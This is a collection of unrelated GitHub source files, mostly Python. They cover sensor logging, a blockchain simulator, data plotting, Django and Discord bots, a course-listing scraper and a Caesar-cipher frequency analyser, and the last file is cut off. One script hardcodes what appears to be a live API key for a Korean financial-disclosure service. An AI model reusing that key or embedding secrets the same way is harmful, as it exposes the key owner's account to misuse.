+{"seq_id":"70483193367","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport json\nimport glob\nimport stat\nimport time\nimport shutil\nimport tempfile\n \n#os.system('/sbin/modprobe w1-gpio')\n#os.system('/sbin/modprobe w1-therm')\n \nbase_dir = '/sys/bus/w1/devices/'\ndevice_folder = glob.glob(base_dir + '28*')[0]\ndevice_file = device_folder + '/w1_slave'\n \ndef read_temp_raw():\n f = open(device_file, 'r')\n lines = f.readlines()\n f.close()\n return lines\n \ndef read_temp():\n lines = read_temp_raw()\n while lines[0].strip()[-3:] != 'YES':\n time.sleep(0.2)\n lines = read_temp_raw()\n equals_pos = lines[1].find('t=')\n if equals_pos != -1:\n temp_string = lines[1][equals_pos+2:]\n temp_c = float(temp_string) / 1000.0\n temp_f = temp_c * 9.0 / 5.0 + 32.0\n return temp_c#, temp_f\n \n\nif __name__ == \"__main__\":\n pidfile_str = os.path.expanduser(\"~/.temperature-monitor-livedata.pid\")\n if os.access(pidfile_str, os.F_OK):\n pidfile = open(pidfile_str, \"r\")\n pidfile.seek(0)\n old_pd = pidfile.readline()\n pidfile.close()\n if os.path.exists(\"/proc/%s\" % old_pd):\n sys.exit(0)\n else:\n os.remove(pidfile_str)\n\n pidfile = open(pidfile_str, \"w+\")\n pidfile.write(\"%s\" % os.getpid())\n pidfile.close()\n\n outfile = '/tmp/latest.json'\n\n prev_temp = None\n while True:\n temp = round(read_temp(), 1)\n if temp == prev_temp:\n continue\n prev_temp = temp\n (fd, temp_path) = tempfile.mkstemp()\n os.write(fd,json.dumps(temp,ensure_ascii=False))\n os.fchmod(fd,stat.S_IRUSR|stat.S_IWUSR|stat.S_IRGRP|stat.S_IROTH) #644\n os.close(fd)\n shutil.move(temp_path,outfile)\n time.sleep(2)\n\n","repo_name":"bennettp123/temp.py","sub_path":"get-live-temperature.py","file_name":"get-live-temperature.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41759009224","text":"import json\nfrom datetime import datetime\nimport simpy\nfrom schema import Schema, SchemaError\n\n\nclass SimulationWorld:\n def __init__(self,\n sim_duration: int,\n initial_time: int,\n config_file,\n measured_latency,\n measured_throughput_received,\n measured_throughput_sent,\n measured_delays,\n day: int=0):\n self._measured_delays = self._read_json_file(measured_delays)\n self._sim_duration = sim_duration\n self._initial_time = initial_time\n self._config = self._read_json_file(config_file)\n self._measured_latency = measured_latency\n self._measured_throughput_received = measured_throughput_received\n self._measured_throughput_sent = measured_throughput_sent\n # Set the SimPy Environment\n self._env = simpy.Environment(initial_time=self._initial_time)\n self._set_configs()\n self._set_delays()\n self._set_latencies()\n self._set_throughputs()\n # Set the monitor\n end_simulation = self._initial_time + self._sim_duration\n self._env.data = {\n 'start_simulation_time': datetime.utcfromtimestamp(\n self._initial_time).strftime('%m-%d %H:%M:%S'),\n 'end_simulation_time': datetime.utcfromtimestamp(end_simulation).strftime('%m-%d %H:%M:%S'),\n 'created_transactions': 0,\n 'tx_propagation': {},\n 'block_propagation': {},\n 'international_transactions': 0,\n # Jiali: add day to record the day from which the tx are imported.\n 'day': 'DAY ' + str(day) + ' '\n }\n\n @property\n def blockchain(self):\n return self._env.config['blockchain']\n\n @property\n def locations(self):\n return self._locations\n\n @property\n def env(self):\n return self._env\n\n def start_simulation(self):\n end = self._initial_time + self._sim_duration\n self._env.run(until=end)\n\n def _set_configs(self):\n \"\"\"Injects the different configuration variables to the environment variable to be\n used during the simulation\"\"\"\n self._env.config = self._config\n\n def _set_delays(self):\n \"\"\"Injects the probability distribution delays in the environment variable to be\n used during the simulation\"\"\"\n blockchain_switcher = {\n 'poa': self._set_poa_delays,\n 'pbft': self._set_pbft_delays,\n 'bitcoin': self._set_bitcoin_delays,\n 'ethereum': self._set_ethereum_delays\n }\n return blockchain_switcher.get(self.blockchain, lambda: \"Invalid blockchain\")()\n\n def _set_pbft_delays(self):\n self._validate_distribution(\n self._measured_delays['pbft']['tx_validation'],\n self._measured_delays['pbft']['block_validation'],\n self._measured_delays['pbft']['time_between_blocks_seconds'])\n self._env.delays = self._measured_delays['pbft']\n\n def _set_poa_delays(self):\n self._validate_distribution(\n self._measured_delays['poa']['tx_validation'],\n self._measured_delays['poa']['block_validation'],\n self._measured_delays['poa']['time_between_blocks_seconds'])\n self._env.delays = self._measured_delays['poa']\n\n def _set_bitcoin_delays(self):\n self._validate_distribution(\n self._measured_delays['bitcoin']['tx_validation'],\n self._measured_delays['bitcoin']['block_validation'],\n self._measured_delays['bitcoin']['time_between_blocks_seconds'])\n self._env.delays = self._measured_delays['bitcoin']\n\n def _set_ethereum_delays(self):\n self._validate_distribution(\n self._measured_delays['ethereum']['tx_validation'],\n self._measured_delays['ethereum']['block_validation'],\n self._measured_delays['ethereum']['time_between_blocks_seconds'])\n self._env.delays = self._measured_delays['ethereum']\n\n def _set_latencies(self):\n \"\"\"Reads the file with the latencies measurements taken\"\"\"\n data = self._read_json_file(self._measured_latency)\n self._locations = list(data['locations'])\n self._env.delays.update(dict(LATENCIES=data['locations']))\n\n def _set_throughputs(self):\n \"\"\"Reads the measured throughputs and pass it to the environment variable to be\n used during the simulation\"\"\"\n throughput_received = self._read_json_file(\n self._measured_throughput_received)\n throughput_sent = self._read_json_file(self._measured_throughput_sent)\n # Check if all locations exist\n locations_rcvd = list(throughput_received['locations'])\n locations_sent = list(throughput_sent['locations'])\n if locations_rcvd != self.locations or locations_sent != self.locations:\n raise RuntimeError(\n \"The locations in latencies measurements are not equal in throughputs measurements\")\n # Pass the throughputs to the environment variable\n self._env.delays.update(dict(\n THROUGHPUT_RECEIVED=throughput_received['locations'],\n THROUGHPUT_SENT=throughput_sent['locations']\n ))\n\n def _validate_distribution(self, *distributions: dict):\n for distribution in distributions:\n distribution_schema = Schema({\n 'name': str,\n 'parameters': str\n })\n try:\n distribution_schema.validate(distribution)\n except SchemaError:\n raise TypeError(\n 'Probability distribution must follow this schema: { \\'name\\': str, \\'parameters\\': tuple as a string }')\n\n def _read_json_file(self, file_location):\n with open(file_location) as f:\n return json.load(f)\n","repo_name":"Jiali-Xing/Talaria","sub_path":"blocksim/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":5857,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"365507200","text":"import pandas as pd\nimport json\nfrom pandas import json_normalize\n\nfrom datetime import datetime\nimport os\n\nsymbols = [\"BTCUSDT\", \"ETHUSDT\", \"BNBUSDT\", \"XRPUSDT\", \"ADAUSDT\"] \n\nkeywords_list = [\"bitcoin OR btc\", \"ethereum OR eth\", \"binance OR bnb\", \"ripple OR xrp\", \"cardano OR ada\"] #remember to update! 12.06\n#start_date = datetime.strptime(\"2021-01-01\", \"%Y-%m-%d\")\n#end_date = datetime.strptime(\"2021-03-01\", \"%Y-%m-%d\")\n\ndef create_tw_df(from_date):\n tw_symbols = {}\n \n for i, s in enumerate(symbols):\n coin = s[0: 3].lower()\n data_frames = []\n \n for date in from_dates:\n directory = \"data/twitter\"\n filename = f\"{keywords_list[i]}_{date}.json\"\n file_path = os.path.join(directory, filename)\n \n if os.path.exists(file_path):\n with open(file_path, \"r\") as f:\n data = json.load(f)\n for item in data:\n if 'data' in item['data'] and 'items' in item['data']['data']:\n df = pd.DataFrame.from_dict(item['data']['data']['items'])\n data_frames.append(df)\n \n tw_symbols[f\"tw_{coin}\"] = pd.concat(data_frames)\n \n return tw_symbols\n\n \nfrom_dates = [\"11.22\", \"01.23\"]\ntw_symbols = create_tw_df(from_dates)\n\nprint(tw_symbols['tw_btc']['created_time'])\n","repo_name":"egppp/cryptoteller","sub_path":"twitter_data.py","file_name":"twitter_data.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"26078552599","text":"from setuptools import setup, Extension\nfrom setuptools import find_packages\nfrom setuptools.config import read_configuration\n\nimport mypackage\n\nwith open(\"README.md\", encoding=\"utf-8\") as f:\n long_description = f.read()\n\nif __name__ == \"__main__\":\n setup(\n name=\"mypackage\",\n version=mypackage.__version__,\n description=\"MYPACKAGE: My Demo Package\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author=\"Debanga Raj Neog\",\n author_email=\"debanga88@gmail.com\",\n url=\"https://github.com/debanga/demo_package\",\n license=\"MIT License\",\n packages=find_packages(),\n include_package_data=True,\n platforms=[\"linux\", \"unix\"],\n python_requires=\">3.5.2\",\n install_requires=[\"numpy>=1.18.5\"],\n scripts=[\n 'scripts/greetings.py',\n ]\n )","repo_name":"debanga/demo_package","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"43138193662","text":"import matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport ase.io\n\nmpl.rcParams['agg.path.chunksize'] = 10000\n\nfilename = \"lammps.std.out\"\n\nwith open(filename, \"r\") as f:\n lines = f.readlines()\n\nstart_is = np.array([i for i, line in enumerate(lines) if line.startswith(\"Per MPI rank memory allocation\")]) + 2\ndata_lengths = []\nj = 0\nfor i, line in enumerate(lines):\n if line.startswith(\"Loop time of \"):\n data_lengths.append(int(i - start_is[j]))\n j += 1\n\ndata = np.loadtxt(filename, skiprows=start_is[0], max_rows=data_lengths[0])\nfor j, i in enumerate(start_is[1:]):\n data = np.concatenate((data, np.loadtxt(filename, skiprows=i, max_rows=data_lengths[j+1])), axis=0)\n\n\n#dft_atoms_list = ase.io.read(\"/storage/chem/msufgx/postgrad/software/SiC-framework/testing-dir/QuantumEspresso/archer/volumes/collated_gen36_selected.dump.xyz\", index=\":\")\n#dft_data = np.array([[atoms.info[\"time\"], atoms.info[\"dft_energy\"]] for atoms in dft_atoms_list])\n#dft_data[:,0] = dft_data[:,0] - 20 # adjust time\n# 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17\n# Step Time Temp PotEng KinEng TotEng Press Density Volume Lx Ly Lz Xlo Xhi Ylo Yhi Zlo Zhi\n\nstep = data[:,0]\ntime = data[:,1] # ps\ntemp = data[:,2] # K\npote = data[:,3] # eV\nkine = data[:,4] # eV\ntote = data[:,5] # eV\npres = data[:,6] * 0.0001 # bar -> GPa\ndens = data[:,7] # g/cm^3\nvol = data[:,8] # Angs^3\n\nfig, axes = plt.subplots(2,4, figsize=(40,20))\n\n# kin\naxes[0,0].plot(time, kine - np.amin(kine))\naxes[0,0].set_ylabel(\"Energy [eV]\", fontsize=16)\naxes[0,0].set_title(\"Kinetic Energy\", fontsize=18)\n\n# pot\naxes[0,1].plot(time, pote - np.amin(pote))\naxes[0,1].set_ylabel(\"Energy [eV]\", fontsize=16)\naxes[0,1].set_title(\"Potential Energy\", fontsize=18)\n\n# tot\naxes[0,2].plot(time, tote - np.amin(tote))\naxes[0,2].set_ylabel(\"Energy [eV]\", fontsize=16)\naxes[0,2].set_title(\"Total Energy\", fontsize=18)\n\n# temp\naxes[1,0].plot(time, temp)\naxes[1,0].set_ylabel(\"Temperature [K]\", fontsize=16)\naxes[1,0].set_title(\"Temperature\", fontsize=18)\n\n# pres\naxes[1,1].plot(time, pres)\naxes[1,1].set_ylabel(\"Pressure [GPa]\", fontsize=16)\naxes[1,1].set_title(\"Pressure\", fontsize=18)\n\n# vol\naxes[1,2].plot(time, vol)\naxes[1,2].set_ylabel(\"Volume [$\\AA^3$]\", fontsize=16)\naxes[1,2].set_title(\"Volume\", fontsize=18)\n\n# dens\naxes[1,3].plot(time, dens)\naxes[1,3].set_ylabel(\"Desnity [$g/cm^3$]\", fontsize=16)\naxes[1,3].set_title(\"Density\", fontsize=18)\n\nfor ax in axes.flatten():\n ax.set_xlabel(\"Time [ps]\", fontsize=16)\n ax.tick_params(axis=\"both\", which=\"both\", labelsize=16)\n ax.grid()\n# ax.set_xlim(0,10)\n\nfig.tight_layout()\nfig.savefig(\"physical-quantaties.png\", dpi=300)\n","repo_name":"htunstall/SiC-PhD","sub_path":"tests/lammps/GAP-validation/scripts/plot-lammps-physical-quantities.py","file_name":"plot-lammps-physical-quantities.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32213471591","text":"from collections import namedtuple\nfrom campeonato import Campeonato\nfrom delegacion import Delegacion, DelegacionDCCrotona, DelegacionIEEEsparta\nfrom deportista import Deportista\nfrom dia_competencia import DiaCompetencia\nfrom deportes import Deporte, DeporteAtletismo, DeporteCiclismo, DeporteGimnasia, DeporteNatacion\nfrom menus import Menu, MenuEntrenador, MenuInicio, MenuPrincipal\nfrom tableros import tablero_deportistas, tablero_delegacion, tablero_competencia\n\nprint(\"👌\")\n# Lee los deportistas disponibles en un diccionario\nbase_deportistas = {}\nwith open(\"deportistas.csv\", \"r\") as data_deportistas:\n header = data_deportistas.readline().strip(\"\\n\").split(\",\")\n Registro_deportista = namedtuple(\"Deportista\", [header[0], header [1], header[2],\n header[3], header[4], header[5], header[6]])\n for line in data_deportistas:\n deport = Registro_deportista(*line.strip(\"\\n\").split(\",\"))\n objeto_deportista = Deportista(deport.nombre, int(deport.flexibilidad), \n int(deport.velocidad),int(deport.resistencia),\n int(deport.moral), deport.lesionado, int(deport.precio))\n base_deportistas[objeto_deportista.nombre] = objeto_deportista\n\n# Lee las delegaciones iniciales y sus deportistas\nwith open(\"delegaciones.csv\", \"r\") as data_delegaciones:\n header = data_delegaciones.readline().strip(\"\\n\").split(\",\")\n Registro_delegacion = namedtuple(\"Delegacion\", [header[0], header [1], header[2],\n header[3], header[4]])\n for line in data_delegaciones:\n deleg = Registro_delegacion(*line.strip(\"\\n\").split(\",\"))\n if deleg.Delegacion == \"IEEEsparta\":\n equipo_IEEE = {}\n for deportista in deleg.Equipo.split(\";\"):\n for deportista_disp in base_deportistas:\n if deportista_disp == deportista:\n base_deportistas[deportista_disp].identidad= \"IEEEsparta\"\n equipo_IEEE[deportista_disp] = base_deportistas[deportista_disp]\n \n for deportista in equipo_IEEE:\n base_deportistas.pop(deportista)\n IEEE = [equipo_IEEE, float(deleg.Moral), int(deleg.Dinero)]\n if deleg.Delegacion == \"DCCrotona\":\n equipo_DCC = {}\n for deportista in deleg.Equipo.split(\";\"):\n for deportista_disp in base_deportistas:\n if deportista_disp == deportista:\n base_deportistas[deportista_disp].identidad= \"DCCrotona\"\n equipo_DCC[deportista_disp] = base_deportistas[deportista_disp]\n for deportista in equipo_DCC:\n base_deportistas.pop(deportista)\n\n DCC = [equipo_DCC, float(deleg.Moral), int(deleg.Dinero)]\n\nmenu_inicial = MenuInicio(base_deportistas, DCC, IEEE)\nmenu_inicial.eleccion()\n","repo_name":"gurobiboi/PrograAvanzada","sub_path":"Tareas/T01/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5645043595","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n open api를 통한 파일 양식 제작\r\n 데이터 받기 전 자료 요청\r\n update.txt와 파일 구조등 resource들 생성\r\n\"\"\"\r\n\"\"\"\r\n 1.4.4\r\n1. csv 데이터 형태를 검색에 용의하도록 변경\r\n\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport os\r\nimport urllib.request as urlreq\r\nfrom io import BytesIO\r\nfrom zipfile import ZipFile\r\nimport xml.etree.ElementTree as ET\r\nimport requests\r\nimport json\r\n\r\n\r\n#url 요청 값\r\nurl = 'https://opendart.fss.or.kr/api'\r\n\r\ncorpCodeUrl='/corpCode.xml'\r\n\r\n\r\nCTFCTKey = \"?crtfc_key=d171bfc3588a2a2cf9defbee64bc3561de0dfe8a\"#인증키\r\n\r\n\r\ndef getCorpCode():\r\n #with로 url닫기를 자동 진행\r\n with urlreq.urlopen(url+corpCodeUrl+CTFCTKey) as zipresp: #회사 정보 받아오기\r\n with ZipFile(BytesIO(zipresp.read())) as zfile: #2진 zip 정보를 변환\r\n zfile.extractall('resource')\r\n\r\n\r\n ### 압축파일 안의 xml 파일 읽기\r\n tree = ET.parse('resource/CORPCODE.xml')\r\n root = tree.getroot()\r\n \r\n DFList1 = []\r\n DFList2 = []\r\n DFList3 = []\r\n\r\n for corpCode in root.iter('list'):\r\n if(corpCode[2].text.strip()!='' and corpCode[2].text!='999980'): #상장회사일 경우 True \r\n DFList1.append(corpCode[1].text.strip())\r\n DFList2.append(corpCode[2].text.strip())\r\n DFList3.append(corpCode[0].text.strip())\r\n\r\n series1 = pd.Series(DFList1)\r\n series2 = pd.Series(DFList2)\r\n series3 = pd.Series(DFList3)\r\n csv=pd.concat([series1, series2,series3] , axis=1 ,keys=[\"corpName\",\"stockCode\",\"corpCode\"])\r\n\r\n csv.to_csv('resource/corpCodeData.csv', mode='w', index=False, header=True, encoding=\"utf-8-sig\")\r\n\r\ntry:\r\n os.mkdir('resource')\r\n\r\nexcept:\r\n print('폴더가 이미 생성되어있습니다.')\r\n\r\ntry:\r\n os.mkdir('data')\r\n\r\nexcept:\r\n print('폴더가 이미 생성되어있습니다.')\r\n\r\n\r\n\r\ntry:\r\n os.mkdir('data/detailData')\r\n\r\nexcept:\r\n print('폴더가 이미 생성되어있습니다.')\r\n\r\n \r\n\r\n\r\ntry:\r\n updateTxt = open('updateCorp.txt','w')\r\n updateTxt.close()\r\n\r\nexcept:\r\n print(\"updateCorp.txt 가 열려있는지 확인 후 닫아주세요\")\r\n\r\n \r\ntry:\r\n updateTxt = open('update.txt','w')\r\n updateTxt.close()\r\n\r\nexcept:\r\n print(\"update.txt 가 열려있는지 확인 후 닫아주세요\")\r\n \r\ngetCorpCode()\r\nprint(\"완료\")\r\n","repo_name":"weaknessHero/projectBlue","sub_path":"stocker/stock_Data/getResource.py","file_name":"getResource.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70136697370","text":"\nfrom django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views\nfrom rest_framework.authtoken.views import obtain_auth_token\n\n\nurlpatterns = [\n \n path('',views.home,name='home'),\n # path('register/',views.RegisterView.as_view(),name = 'register'),\n # path('login/',views.LoginView.as_view(),name = 'login'),\n path('login/', auth_views.LoginView.as_view(template_name='auth/login.html'), name='login'),\n path('api/user', views.UserView.as_view(), name='user'),\n path( 'logout', views.LogoutView.as_view(), name='logout'),\n # path('logout/', auth_views.LogoutView.as_view(template_name='auth/login.html'), name='logout'),\n path('api/profile/', views.ProfileList.as_view()),\n path('api/users/', views.UserList.as_view()),\n path('api-token-auth/', obtain_auth_token),\n path('api/projects',views.ProjectList.as_view()),\n path('api/cohort/', views.CohortList.as_view()),\n # path('auth/login/', obtain_auth_token),\n # path('auth/refresh-token/', refresh_auth_token),\n\n]","repo_name":"AjedidahMwanzia/Projects-tracking","sub_path":"Back-end/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6343940568","text":"import numpy\n\n\ndef synfire_spike_checker(spikes, nNeurons):\n \"\"\"\n :param spikes: The spike data to check.\n :type spikes: ~numpy.ndarray or list(~numpy.ndarray)\n :param int nNeurons: The number of neurons.\n :raises Exception: If there is a problem with the data\n \"\"\"\n if isinstance(spikes, numpy.ndarray):\n sorted_spikes = spikes[spikes[:, 1].argsort()]\n print(len(sorted_spikes))\n num = 0\n for row in sorted_spikes:\n if num != round(row[0]):\n numpy.savetxt(\"spikes.csv\", sorted_spikes, fmt=['%d', '%d'],\n delimiter=',')\n raise ValueError(f\"Unexpected spike at time {row[1]}\")\n num += 1\n if num >= nNeurons:\n num = 0\n else:\n for single in spikes:\n synfire_spike_checker(single, nNeurons)\n\n\ndef synfire_multiple_lines_spike_checker(\n spikes, nNeurons, lines, wrap_around=True):\n \"\"\"\n Checks that there are the expected number of spike lines\n\n :param spikes: The spikes\n :type spikes: ~numpy.ndarray or list(~numpy.ndarray)\n :param int nNeurons: The number of neurons.\n :param int lines: Expected number of lines\n :param bool wrap_around:\n If True the lines will wrap around when reaching the last neuron.\n :raises Exception: If there is a problem with the data\n \"\"\"\n sorted_spikes = spikes[spikes[:, 1].argsort()]\n nums = [0] * lines\n used = [False] * lines\n for row in sorted_spikes:\n node = round(row[0])\n found = False\n for i in range(lines):\n if nums[i] == node:\n found = True\n nums[i] += 1\n if nums[i] >= nNeurons and wrap_around:\n nums[i] = 0\n used[i] = True\n break\n if not found:\n numpy.savetxt(\"sorted_spikes.csv\", sorted_spikes, fmt=['%d', '%d'],\n delimiter=',')\n raise ValueError(f\"Unexpected spike at time {row[1]}\")\n if False in used:\n numpy.savetxt(\"sorted_spikes.csv\", sorted_spikes, fmt=['%d', '%d'],\n delimiter=',')\n print(used)\n raise ValueError(f\"Expected {lines} spike lines\")\n\n\nif __name__ == '__main__':\n _spikes = numpy.loadtxt(\"sorted_spikes.csv\", delimiter=',')\n synfire_multiple_lines_spike_checker(_spikes, 200, 10, wrap_around=False)\n # synfire_spike_checker(_spikes, 20)\n","repo_name":"SpiNNakerManchester/sPyNNaker","sub_path":"spynnaker/spike_checker.py","file_name":"spike_checker.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"31"} +{"seq_id":"14774860640","text":"import discord\nfrom discord.ext import commands\n\nclient = discord.Client()\n\nclass Say(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n # loaded\n @commands.Cog.listener()\n async def on_ready(self):\n print(\"Say.py loaded\")\n\n # command\n @commands.command()\n @commands.has_permissions(manage_messages=True)\n async def say(self, ctx, *, texts, amount=1):\n await ctx.channel.purge(limit=amount)\n\n embed = discord.Embed(title=texts, color=discord.Color.blurple(), timestamp=ctx.message.created_at)\n embed.set_author(name=\"{}\".format(ctx.message.author.name), icon_url=ctx.author.avatar_url)\n\n await ctx.send(embed=embed)\n\n @say.error\n async def say_error(self, ctx, error):\n if isinstance(error, commands.MissingRequiredArgument):\n embed = discord.Embed(title=\"<:9830_no:748426943766069308> **Missing Argument! Please use correct form** `/say `\",\n color=discord.Color.red())\n\n await ctx.send(embed=embed)\n\n\ndef setup(client):\n client.add_cog(Say(client))\n","repo_name":"tomuisgod/Amused","sub_path":"cogs/say.py","file_name":"say.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"12414329067","text":"import re\nfrom bs4 import BeautifulSoup\nimport requests\n\ndef createURL(coursePrefix, courseNum, semester, year) : #navigates to the coursebook page with the search criteria and returns creates a list of all the professors\n term = str(year%100) + abSem(semester=semester)\n url = \"https://coursebook.utdallas.edu/search/searchresults\" + \"/\" + coursePrefix + str(courseNum) + \"/term_\" + term\n\n return url\n\ndef abSem(semester) : #abbreviates the semester value to get the whole term ----returns the one letter abbreviation\n if semester.lower() == \"fall\":\n return \"f\"\n elif semester.lower() == \"spring\":\n return \"s\"\n elif semester.lower() == \"summer\":\n return \"u\"\n else :\n return \"And the Lord spake, saying, 'First shalt thou take out the Holy Pin. Then, shalt thou count to three, no more, no less. Three shall be the number thou shalt count, and the number of the counting shall be three. Four shalt thou not count, nor either count thou two, excepting that thou then proceed to three. Five is right out! Once the number three, being the third number, be reached, then lobbest thou thy Holy Hand Grenade of Antioch towards thou foe, who being naughty in my sight, shall snuff it.'\"\n\ndef isPageGood(url):\n site = requests.get(url)\n soup = BeautifulSoup(site.content, \"html.parser\")\n zeroMatches = soup.find(\"div\", attrs ={\"class\" : \"zeromatches\"}) #if page is bad the find() will return \"

No course sections matched your search criteria.

Please try again using fewer or different search terms.

\"\n\n badString = '

No course sections matched your search criteria.

Please try again using fewer or different search terms.

'\n\n #tests to see if there is string denoting no results is in the page\n if badString in str(zeroMatches) :\n return False\n else:\n return True\n\ndef scrapeOnline(coursePrefix, courseNum, semester, year) : #navigates to the coursebook page with the search criteria and returns creates a list of all the professors\n url = createURL(coursePrefix, courseNum, semester, year)\n if isPageGood(url):\n site = requests.get(url)\n soup = BeautifulSoup(site.content, \"html.parser\")\n courseIDstr = (soup.find_all(\"a\", attrs ={\"class\" : \"stopbubble\"}))\n i = 0\n for courseID in courseIDstr:\n text = courseIDstr[i].get_text()\n if text.split(\".\")[-1] == \"0W1\":\n return True #there is at least one online section\n i = i + 1\n return False #there are no online sections\n return None #the page was bad\n \n \n\nprint(scrapeOnline(\"geos\", 1303, \"spring\", 2020)) #true\nprint(scrapeOnline(\"isns\", 2367, \"spring\", 2020)) #true\nprint(scrapeOnline(\"cs\", 2336, \"spring\", 2020)) #false","repo_name":"CameronRCook/HackUTD2019","sub_path":"scrapeOnline().py","file_name":"scrapeOnline().py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"32960336730","text":"# ------------------------------\n# Trabalho 1 - Segurança de Redes e Sistemas\n# Autor: Matheus Fonseca Alexandre de Oliveira\n# Professor: Mauro Fonseca\n# Projeto: Analisador de Frequencia.\n# ------------------------------\n\nimport numpy as np\nimport sys\n\n\n# Leitura de Paramentro (Iterações)\n\nif len(sys.argv) == 1:\n print(\"Wrong number of parameters. Please use -c or -d, -k key-number \")\n sys.exit()\n\n# Variáveis Globais\nmaxInterationsByUser = int(sys.argv[1])\ndecodeInterations = int(0)\nINPUT_TEXT = sys.stdin.read()\n\nCHAR_LIST = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']\nCHAR_LIST.extend(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'])\nCHAR_LIST.extend(['0','1','2','3','4','5','6','7','8','9'])\n\nmostFrequentLetter_ptbr = ['a','e','o','s','r']\n\n# Return the letter frequency of an given string / text in lowercase.\ndef frequency_counter(inputText):\n countList = [] \n # For each character in our CHAR_LIST\n # Ignoring uppercase letters.\n for character in CHAR_LIST:\n # Count number of ocourrences in CRYPTOGRAPHED_TEXT\n characterCount = inputText.count(character)\n # If greater than 0 (at least once), add to our \n if (characterCount) > 0:\n countList.append([character,characterCount])\n\n return countList\n\n# Check frequency of characters:\ncharCountList = frequency_counter(INPUT_TEXT)\nprint('List of characters: ')\nprint(charCountList)\n# Ordena lista por characters que mais aparecem dentro das sublistas (Posição 1)\ncharCountList.sort(key = lambda x: x[1],reverse=True)\nprint('Sorted List of characters: ')\nprint(charCountList)\n# Decode\n\nif(INPUT_TEXT is None):\n print('Error reading file')\n sys.exit()\nfor decodeInterations in range(maxInterationsByUser):\n \n cesar_letter_index = CHAR_LIST.index(charCountList[decodeInterations][0])\n normal_letter_index = CHAR_LIST.index(mostFrequentLetter_ptbr[decodeInterations])\n # transform characters from the in lowercases\n if(cesar_letter_index <= 25):\n cesar_letter_index += 26\n\n possible_cesar_key = cesar_letter_index - normal_letter_index\n # Volta completa da lista de char\n if(possible_cesar_key < 0):\n possible_cesar_key += len(CHAR_LIST)\n print('Possible Cesar Key number ' + str(decodeInterations) + ' : ' + str(possible_cesar_key))\n\n","repo_name":"mathFonseca/CSR44","sub_path":"Trabalho01/testFiles/analisador.py","file_name":"analisador.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33142476628","text":"from django.db import models\n\n# Create your models here.\nclass Libro(models.Model):\n title = models.CharField(max_length=80, verbose_name=\"Titulo\", default=\"\", blank=True)\n autor = models.CharField(max_length=80, verbose_name=\"Autor\", default=\"\", blank=True)\n tipo = models.CharField(max_length=80, verbose_name=\"Tipo\", default=\"\", blank=True)\n id = models.BigIntegerField(primary_key=True, verbose_name=\"Identificador\")\n editorial = models.CharField(max_length=80, verbose_name=\"Editorial\", default=\"\", blank=True)\n created = models.DateTimeField(auto_now_add=True, verbose_name=\"Fecha de creacion\")\n updated = models.DateTimeField(auto_now=True, verbose_name=\"Fecha de edicion\")\n\n class Meta:\n verbose_name = \"libro\"\n verbose_name_plural = \"libros\"\n ordering = ['-created']\n \n def __str__(self):\n return str(self.id)\n","repo_name":"lposada/TradeIt","sub_path":"TradeIt/TradeIt/libros/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43298985802","text":"import discord\r\nimport aiohttp\r\nimport json\r\nimport datetime\r\nimport asyncio\r\nfrom discord.ext import commands, tasks\r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\ndef read(config_value):\r\n with open('config.json', 'r') as f:\r\n config_data = json.load(f)\r\n return config_data[config_value.upper()]\r\n\r\n\r\nasync def fetch(session, url):\r\n async with session.get(url) as response:\r\n return await response.text()\r\n\r\n\r\nclass QOTD(commands.Cog):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n @commands.group(name = 'qotd', invoke_without_command = True)\r\n async def _qotd(self, ctx):\r\n desc = '\\n'.join(f'{read(\"PREFIX\")}' + command.name for command in self.bot.get_command('qotd').commands)\r\n\r\n embed = discord.Embed(title = 'QOTD Commands', description = desc, color = discord.Color.green(), timestamp = ctx.message.created_at)\r\n\r\n await ctx.send(embed = embed)\r\n \r\n @_qotd.command()\r\n @commands.has_permissions(administrator = True)\r\n async def time(self, ctx, time):\r\n time = time.split(':')\r\n \r\n\r\n if len(time) != 